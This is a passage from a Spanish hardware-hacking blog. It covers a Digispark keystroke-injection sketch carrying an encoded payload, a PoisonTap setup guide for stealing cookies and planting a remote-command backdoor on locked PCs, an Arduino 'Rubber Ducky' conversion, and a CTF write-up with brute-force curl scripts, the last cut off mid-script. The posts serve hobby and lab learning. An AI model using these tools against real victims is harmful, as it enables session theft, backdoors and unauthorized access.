0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0x28, 0x0, 0x28, 0x0
};
int i = 4; //how many times the payload should run (-1 for endless loop)
bool blink=true;

void setup()
{
	// initialize the digital pin as an output.
	pinMode(0, OUTPUT); //LED on Model B
	pinMode(1, OUTPUT); //LED on Model A
	DigiKeyboard.delay(2500); //wait 2500 milliseconds before first run, to give target time to initialize
}

void loop()
{

	//should code be runned in this loop?
	if (i != 0) {
		DigiKeyboard.sendKeyStroke(0);

		//parse raw duckencoder script
		for (int i=0; i<DUCK_LEN; i+=2)
		{
			uint8_t key = pgm_read_word_near(duckraw + i);
			uint8_t mod = pgm_read_word_near(duckraw + i+1);
			if (key == 0) //delay (a delay>255 is split into a sequence of delays)
			{
				DigiKeyboard.delay(mod);
			}
			else DigiKeyboard.sendKeyStroke(key,mod);
		}
		i--;
		DigiKeyboard.delay(3000); //wait 3000 milliseconds before next loop iteration

	}
	else if (blink)
	{
		digitalWrite(0, HIGH);   // turn the LED on (HIGH is the voltage level)
		digitalWrite(1, HIGH);
		delay(100);               // wait for a second
		digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
		digitalWrite(1, LOW);
		delay(100);               // wait for a second
	}
}

Otra cosa que añade duck2spark es que al terminar de ejecutar el payload el led del ATtiny85 se encenderá y apagará, parecerá una tontería pero yo lo veo útil.

Ahora solo queda seguir trasteando y probando diferentes payloads 🙂

Espero os haya gustado este nuevo post y si consigo solucionar un problema que tengo con unas tarjetas mifare classic el siguiente post de hardware para hacking será un clonador de las mismas 😉

Como siempre, cualquier duda u opinión no dudéis en dejar un comentario más abajo.

Saludos, y gracias por vuestra visita!

Publicado en DIY, tools, tutorial | 6 comentarios

PoisonTap: Instalación y pequeña review

Bueno, parece que toca seguir con los posts sobre hardware para hacking, no os podréis quejar.

Después de un largo tiempo buscandola y luego de pagarla a «buen» precio, por fin tengo en mis manos una Raspberry Pi Zero, sí, esa que supuestamente cuesta 5 dolares pero que antes encuentras el santo grial que este modelo por ese precio. Concretamente me hice con el nuevo modelo W, que ya trae integrado el wireless y el bluetooth, acompañada de un pequeño kit con varios conectores básicos como USB OTG, adaptador de mini-HDMI, etc

Una de las cosas que hacen especial a este modelo de Raspberry es la capacidad que tiene su puerto OTG de hacerse pasar por distintos dispositivos de hardware (o gadgets como le suelen llamar) entre los que se encuentran tarjeta de red, puerto serie, almacenamiento masivo o dispositivos HID, además de varios otros.

En el caso de PoisonTap (PT a partir de ahora) lo que hacemos es que el pc victima reconozca a la Zero como una tarjeta de red y todo el tráfico sea redireccionado hacia ella de tal manera que se pueden extraer cookies en plano e inyectar un backdoor, pero más sobre esto a continuación.

En este tutorial utilizaremos un pequeño «fork» de PT creado por el usuario wismna de GitHub, y digo «fork» porque realmente la parte de PT apenas ha sido modificada. Además de añadir Responder como nuevo vector de ataque, el señor wismna se ha currado un pequeño OS fingerprinting para que nuestra Zero actúe de forma distinta según el OS al que la enchufemos. ¿Por que es esto importante? Pues porque en el caso de las últimas versiones de Windows 10 este ya no reconoce nuestra Zero como una tarjeta de red sino simplemente como un puerto serie. Gracias a los parches de wismna esto se ha solucionado y ahora funciona tanto en los últimos Windows como en Linux (no he probado OSX, no me da el presupuesto).

Pero, ¿Que hace PT? PT realiza varios ataques en cascada.

  1. Se adueña de la red del equipo. PT se configura como una interfaz de red y responde a las peticiones DHCP de tal manera que hace creer que todo el rango de IPV4 es parte de dicha red, haciendo así que todo el tráfico fluya por ella.
  2. Extracción de cookies. Siempre que haya un navegador, bien abierto bien en segundo plano, que realice una llamada HTTP; PT la intercepatará y responderá de tal manera que pueda ser interpretada como HTML o JavaScript, al ejecutarse dicha respuesta en el navegador esta creara numerosos iframes al top de sitios de Alexa y extraerá las cookies que tengamos almacenadas de los mismos.
  3. Backdoors. PT inyectará un backdoor que se activará cuando la Zero desconectada permitiendo que está sea cargada en un iframe de la victima y ejecutar comandos de forma remota. Esto solo es posible si ejecutamos el servidor de backend.

PT también realiza DNS recapping para poder acceder al router de la victima pero esta parte no la he podido probar demasiado debido a que no se ha liberado el código del servidor DNS necesario para esta parte.

Para una descripción mucho más detallada (en inglés) de como funciona PT os recomiendo os leáis la información de la misma en GitHub: https://github.com/samyk/poisontap

Lo más interesante de PT es que es capaz de realizar dichos ataques aunque el pc victima esté bloqueado.

INSTALACIÓN:

Raspberry Pi:

Para empezar necesitaréis instalar la última versión de Raspbian en vuestra Zero y darle salida a internet para poder instalar las dependencias y los repositorios que necesitaremos. Creo que esto está suficientemente documentado ya como para que lo tenga que repetir aquí así que simplemente os daré un consejo, si tenéis una W, configurad el wifi y dejaros de cable, mucho más comodo (vale si, no conseguí que el maldito avahi me dejara conectar a través de raspberrypi.local solo por IPV6 pero eso es otra historia).

Lanzaremos los siguientes comandos para actualizar nuestra Zero e instalar git:

sudo apt-get update
sudo apt-get -y upgrade
sudo apt-get -y dist-upgrade
sudo apt-get -y install git

Una vez finalice esto clonaremos el repositorio en el home, el script asume que se esta usando el home del usuario pi, tened esto en cuenta en caso de que tengáis problemas:

git clone https://github.com/wismna/HackPi

Entramos en la nueva carpeta HackPi y lanzamos el script install.sh sin sudo. En caso de que no tenga permisos de ejecución lo podéis solucionar fácilmente con el siguiente comando:

chmod +x install.sh

El script nos hará varias preguntas durante su ejecución:

  1. ¿Queremos hacer un backup de las configuraciones? Nunca está de más, lo dejo a vuestra elección.
  2. ¿Queremos parchear los módulos? Si contestamos que no el script finalizará sin terminar la instalación.
  3. ¿Configurar el backdoor? Esto solo es importante si vamos a utilizar el servidor de backend para el backdoor, si no lo vais a usar no es necesario. En caso de que sí os pedirá tambien el dominio/ip y puerto donde se estará ejecutando el backend.

¡OJO! En el último paso el script sobreescribe /etc/network/interfaces eliminando la interfaz wireless. Debéis añadirla de nuevo a ese archivo incluyendo este código:

allow-hotplug wlan0
iface wlan0 inet manual
    wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

El script no hace control de errores durante su ejecución pero es lo suficientemente verbose como para que sea fácil detectar un error durante su ejecución y solucionarlo antes de volverlo a ejecutar.

Backend (Opcional):

En caso de que queramos utilizar el servidor de backend simplemente ejecutamos los siguientes comandos en una máquina que sea accesible por el pc victima, sea en internet sea en nuestra red:

sudo apt-get update && apt-get upgrade
sudo apt-get install screen nodejs nodejs-legacy git npm
sudo npm install websocket
git clone https://github.com/samyk/poisontap
screen
sudo node backend_server.js

La parte de screen es totalmente opcional pero recomendable.

Por defecto el backend escucha en el puerto 1337 así que este debe ser accesible por la victima, en caso de que lo queráis cambiar al final del archivo backend_server.js escontrareis el comando server.listen(1337),  simplemente cambiarlo por el que hayáis configurado en la Zero.

Si todo ha salido bien ya deberíamos tener todo listo para hacer nuestras pruebas.

REVIEW:

Después de muchos quebraderos de cabeza hasta conseguir algo minimamente funcional (recordemos que esto es un POC no una herramienta lista para hacer el mal) aquí van unos pequeños puntos que creo son importantes tener en cuenta:

  • Mientras la PT este conectada el equipo victima no tiene acceso a internet. Todo el tráfico pasa a la Zero y la salida a internet no está configurada.
  • Si no tenéis una Zero W o esta no se conecta a la wifi podéis acceder a la misma desde el pc victima por ssh en la ip 1.0.0.1. Recordemos que es un POC.
  • En la versión de wismna la Zero se reconoce también como puerto serie. Esto puede ser de mucha utilidad ya que podemos conectarnos a la misma (solo en Linux y OSX, Windows no lo soporta por ahora) en el puerto /dev/ttyACM0 a 115200 baudios.

Ahora os muestro una pequeña lista sobre los navegadores y OS que he probado y que resultados he obtenido:

  • Linux:
    • Chrome/Chromium: Las cookies se extraen sin problemas y se puede apreciar el ataque al intentar entrar en una web http. Debido a problemas con la cache sin embargo la única manera en que conseguí que el backdoor se ejecutara fue desconectando la Zero antes de que el websocket hiciera timeout.
    • Firefox: Mucho más lento en ejecución que los anteriores. Todos los ataques funcionaron sin problemas y el backdoor quedo guardado en la cache. 100% funcional.
  • Windows:
    • Chrome: Mismos problemas que en Linux, con la salvedad de que al desconectar la Zero el websocket automáticamente aborta la conexión con lo cual el backdoor no funciona.
    • IE: Todos los ataques funcionaron sin problemas. 100% funcional.

Como véis aun tengo pendiente probarlo en otros OS y navegadores pero los resultados han sido un poco agridulces. Hay que entender que es un POC y no una herramienta 100% funcional.

Le veo mucho potencial en general y seguiré trabajando con ella. Os mantendré informados de lo que vaya consiguiendo.

Espero os haya gustado y, ya sabéis, cualquier duda o comentario no dudéis en dejar un comentario. Os ayudaré en todo lo que pueda y así otra gente podrá aprovecharse de la información.

Saludos, y como siempre, gracias por vuestra visita!

Reconocimiento al gran trabajo de samyk y de wismna que nos han dejado esta impresionante herramienta.

Publicado en DIY, raspberry, tools, tutorial | Deja un comentario

Como instalar hoodloader2 y convertir nuestro Arduino en un Rubber Ducky

Hablando en el grupo de la gente de FollowTheWhiteRabbit me decidí a probar a convertir mi Arduino UNO en un Rubber Ducky. ¿Por qué el UNO y no uno de los NANO que tengo por ahí tirados? Pues porque la librería necesaria, HID-Project, solo soporta los siguientes modelos de Arduino:

  • Uno (con HoodLoader2)
  • Mega (con HoodLoader2)
  • Leonardo
  • (Pro)Micro
  • Cualquier placa compatible 8u2/16u2/at90usb8/162/32u2/32u4
  • No hay soporte para SAM/ARM (Due, Zero etc)

De todas esas placas solo tengo una UNO y una Mega (actualmente desaparecida en combate) así que no me quedo más opción que jugarme la con la UNO. ¿Y porqué jugarme la? Pues porque para poder utilizar esta librería necesito instalar el bootloader HoodLoader2.

El HoodLoader2 (HL2 desde ahora) básicamente lo que nos permite es utilizar el microcontrolador 16u2 (o en algunos casos 32u2 o 8u2 en placas malas) de forma independiente al ATmega328/2560, de está manera podremos cargar programas en el 16u2 y ejecutarlos directamente.

¡Ojo! Al ser el 16u2 el encargado de la comunicación por USB perderemos dicha comunicación en el 328/2560 al igual que no podremos,  por ejemplo, utilizar el led13 en ambos programas. Aún no he echo pruebas utilizando dos programas a la vez así que no voy a tratar el tema en este artículo y me limitaré a la instalación de HL2.

HL2 dispone de tres métodos de instalación en el caso de la UNO:

  1. Utilizando la misma placa.
  2. Utilizando otro Arduino.
  3. Utilizando un ISP.

Aunque la primera opción es muy tentadora ya que toma ventaja de que ambos microcontroladores tienen los pines ICSP listos para ser usados pero es necesario un condensador de 100nF y no tenía ninguno a mano. En mi caso la solución fue utilizar uno de los Arduino NANO como programador, si el UNO había programado el NANO, ahora tocaba que le devolviera el favor.

Lo primero será descargarnos el repositorio de HL2:

git clone https://github.com/NicoHood/HoodLoader2

También necesitaremos tener instalada la última versión del Arduino IDE, aunque cualquier versión superior a la 1.6.7 debería de valer.

Desconectamos todos los cables del NANO, abrimos el Arduino IDE y cargamos el sketch Installation_Sketch.ino que está situado en la carpeta avr/examples del repositorio que acabamos de clonar.

El sketch ya viene configurado por defecto para la UNO así que no necesitamos modificar nada, lo cargamos en la NANO y llega la hora de cablear. Este es el esquema que nos dan en la wiki de HL2:

Source

Aquí vino mi primer «problema» y es que no estaba seguro de que pines del ICSP del NANO correspondían con los pines del ICSP de la UNO. Luego de buscar los diagramas por google vi que las conexiones de la imagen se correspondían con los siguientes pines:

Cable Verde -> MISO

Cable Naranja -> SCK

Cable Amarillo -> MOSI

Una vez conectados a sus correspondientes en la NANO así como el resto de cables (en algunas placas baratas el ICSP del 16u2 puede venir al revés, ojo con eso) ya estábamos listos para flashear.

Realmente no tenemos que hacer nada, simplemente conectamos el NANO y este se encargará de flashear HL2 a nuestro UNO, pero si queremos ver el proceso tendremos 10 segundos para abrir el terminal y ver la información de debug.

Una vez completado el proceso ya deberíamos tener el UNO listo, vamos a comprobarlo, desenchufamos todo y lanzamos el siguiente comando en Linux:

udevadm monitor --subsystem-match=usb --property | grep -E "REVISION|VENDOR|MODEL"

Y el output debería ser similar a este:

ID_MODEL_FROM_DATABASE=Uno R3 (CDC ACM)
ID_VENDOR_FROM_DATABASE=Arduino SA
ID_MODEL_FROM_DATABASE=Uno R3 (CDC ACM)
ID_VENDOR_FROM_DATABASE=Arduino SA
ID_MODEL=HoodLoader2_Uno
ID_MODEL_ENC=HoodLoader2\x20Uno
ID_MODEL_FROM_DATABASE=Uno R3 (CDC ACM)
ID_MODEL_ID=0043
ID_REVISION=0205
ID_VENDOR=NicoHood
ID_VENDOR_ENC=NicoHood
ID_VENDOR_FROM_DATABASE=Arduino SA
ID_VENDOR_ID=2341

Si es así, todo ha salido bien y tenemos nuestro UNO con HL2 instalado.

El siguiente paso será añadir estas placas a nuestro Arduino IDE para poderlas programar, para ello nos iremos a preferencias y en la opción «Gestor de URLs Adicionales de Tarjetas» añadiremos la siguiente linea:

https://raw.githubusercontent.com/NicoHood/HoodLoader2/master/package_NicoHood_HoodLoader2_index.json

Ahora vamos a Herramientas -> Placa -> Gestor de tarjetas, buscamos HoodLoader2 y lo instalamos.

Nos aparecerán unas placas nuevas que serán las que tendremos que utilizar a partir de ahora en lugar de seleccionar Arduino UNO como hasta ahora. ¿Por qué? Pues porque ahora mismo nuestro UNO tiene dos modos de uso: 16u2 y Bootloader.

Si al arrancar no hay nada en el 16u2 entonces se ejecutará el Bootloader y se cargará el código del 328/2560. Para poder cambiar entre los distintos modos tenemos que conectar los pines de reset del 16u2, recordad estos son los dos pines mas cercanos al puerto USB (a no ser que tengáis el ICSP al revés). Una vez hará un reinicio del código del 16u2 y dos veces nos llevará directamente al Bootloader.

En caso de que queramos ir directamente al Bootloader podemos cargar el siguiente sketch que también tenemos en el repositorio:

/*
 Copyright (c) 2015 NicoHood
 See the readme for credit to other people.

 HoodLoader2 Run Bootloader example

 Starts Bootloader mode.
 This is useful if you only want to use
 the Fast USB-Serial bridge again.
 
 You could delete the firmware with avrdude,
 but this sketch is way simpler to upload for beginners.
 
 It forces a watchdog reset,
 meaning the bootloader is started completely independant.
*/

#include <avr/wdt.h>

void setup() {
  // close interrupts
  cli();

  // write magic key to ram
  *(uint16_t*)MAGIC_KEY_POS = 0x7777;

  // watchdog reset
  wdt_enable(WDTO_120MS);
}

void loop() {
  // wait for reset
}

Source

Para poder flashear en uno u otro microcontrolador debemos de realizar dichos «resets» para acceder a uno u otro, podemos ver en cual estamos en el puerto serie ya que cada uno tiene su propio nombre.

En la última versión de HL2 para el IDE jugamos con una ventaja, cuando seleccionamos la placa/microcontrolador al que deseamos flashear este ya se ocupa de realizar estos «resets» por nosotros.

Ya deberíamos tener nuestro UNO listo para funcionar, vamos a cargar un pequeño ejemplo extraído de aquí:

#include "HID-Project.h"

void setup() {
	Keyboard.begin();
	delay(500);

	// Payload
	delay(3000);
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press(KEY_R);
	Keyboard.releaseAll();
	delay(500);
	Keyboard.print("notepad");
	delay(500);
	Keyboard.write(KEY_ENTER);
	delay(750);
	Keyboard.print("Hello World!!!");
	Keyboard.write(KEY_ENTER);
	}

void loop() { }

En caso de no tengáis la librería HID-Project instalada simplemente ir a Programa -> Incluir Librería -> Gestionar Librerías y ahí podéis buscar e instalarla.

Para flashear este código necesitamos seleccionar la placa HoodLoader2 16u2, en caso de que no lo hagamos al compilar nos dará un error la librería avisandonos de que la placa no es compatible.

Una vez flasheado desenchufamos el Arduino de nuestro pc y lo enchufamos en un Windows, después de unos segundos veremos como se ejecutan los comandos y aparecerá un notepad con las palabras «Hello World!!!»

¡Ya tenemos nuestro UNO funcionando como un Ruber Ducky!

En el repositorio de donde sacamos nuestro ejemplo han creado un script de python para convertir scripts de Rubber Ducky a código Arduino, os recomiendo probarlo.

Lo mejor de todo esto es que gracias a la librería HID-Project ahora nuestro UNO puede hacerse pasar, no solo por un teclado, sino por un ratón, un pad de juegos, etc, etc Pero eso es una historia para otro día.

Espero os haya gustado la entrada y cualquier cosa no dudéis en dejar un comentario, en mi caso todo funciono a la primera pero si os encontráis con problemas comentad e iré añadiendo las soluciones que encontremos al post.

Un saludo y, como siempre, gracias por vuestra visita!

 

Publicado en arduino, DIY, tutorial | 1 comentario

Follow the white rabbit CTF – Rabbits everywhere

Hoy os traigo un pequeño writteup sobre una prueba que @belane del equipo Follow The White Rabbit abrió ya fuera del CTF pero que estuvo interesante.

Para empezar nos dirigimos a la url: http://challenge.followthewhiterabbit.es:1234/

Y nos encontramos con esto:

Con este source:

Por ahora no nos dice mucho, investigando un poco nos encontramos con un robots.txt:

Interesante, un archivo llamado passwordlist.lst, nos lo descargamos y vemos que contiene 149 passwords, parece que @belane nos lo ha querido poner fácil.

Como se puede ver también tenemos una cookie de sesión así que tendremos que recordar utilizarla en nuestros scripts.

Vamos a comenzar a la vieja usanza con un poco de fuerza bruta:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        cat buff
done

Lo primero que haremos será hacer una llamada inicial que de la cual extraeremos los tokens necesarios para nuestra siguiente llamada y también generaremos un archivo de cookies para mantener la sesión comentada anteriormente.

Una vez ejecutamos ese script las respuestas del servidor irán desfilando por nuestra pantalla, en un punto en concreto me encuentro con que dicho contenido cambia al siguiente:

<h1>Rabbits everywhere</h1></br>
<a href="second.php?action=55e7f1b3e6a0bab1e26eecba960623b3">Next Challenge</a>

Vale, parece que al encontrar la password correspondiente obtenemos un link a la segunda parte, modifiquemos nuestro script para que nos devuelva el contenido del mismo:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
cat buff

Nuevamente lo ejecutamos y vemos que ahora nos aparece un nuevo link:

<h1>Rabbits everywhere</h1></br>
<a href="third.php?action=f8e849377cc41214d7b5341d218ac840">Go for It!</a></br>

Añadimos el siguiente link:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
cat buff

Y otro link más, pero parece que ya estamos terminando:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>

Veamos que tiene la última prueba añadiendo este último link a nuestro script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
cat buff

Parece que volvemos a tener un formulario parecido al primero:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ ./finde.sh
Found:princesa
<h1>Rabbits everywhere</h1></br>
<form action=final.php method=post>
<input name=token_session type=hidden value=15fa4a7f80ca63b2369a842afd5282ad8c50f87fe64779813b14e077ebbde645>
<input name=token_action type=hidden value=73de0142f5d6879447fd7dbb01f598b7>
<input name=pass_try type=text size=20 placeholder=" last password "> <input type="submit" value="Go !!">
</form>

Vamos a probar con una sola password y ver que nos dice:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
cat buff


Y vemos lo siguiente:

<h1>Rabbits everywhere</h1></br>
Your try: <b>test</b></br>
</br><a href="index.php">Start over</a></br>


Parece que @belane no ha sido tan bueno después de todo. En cuanto fallamos la password en la última parte automáticamente nos manda empezar de nuevo, eso duele.

Curiosamente la sesión de PHP no cambia, vamos a cruzar los dedos y ver si la password que encontramos en el primer formulario se asocia a dicha sesión y podemos reutilizarla:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
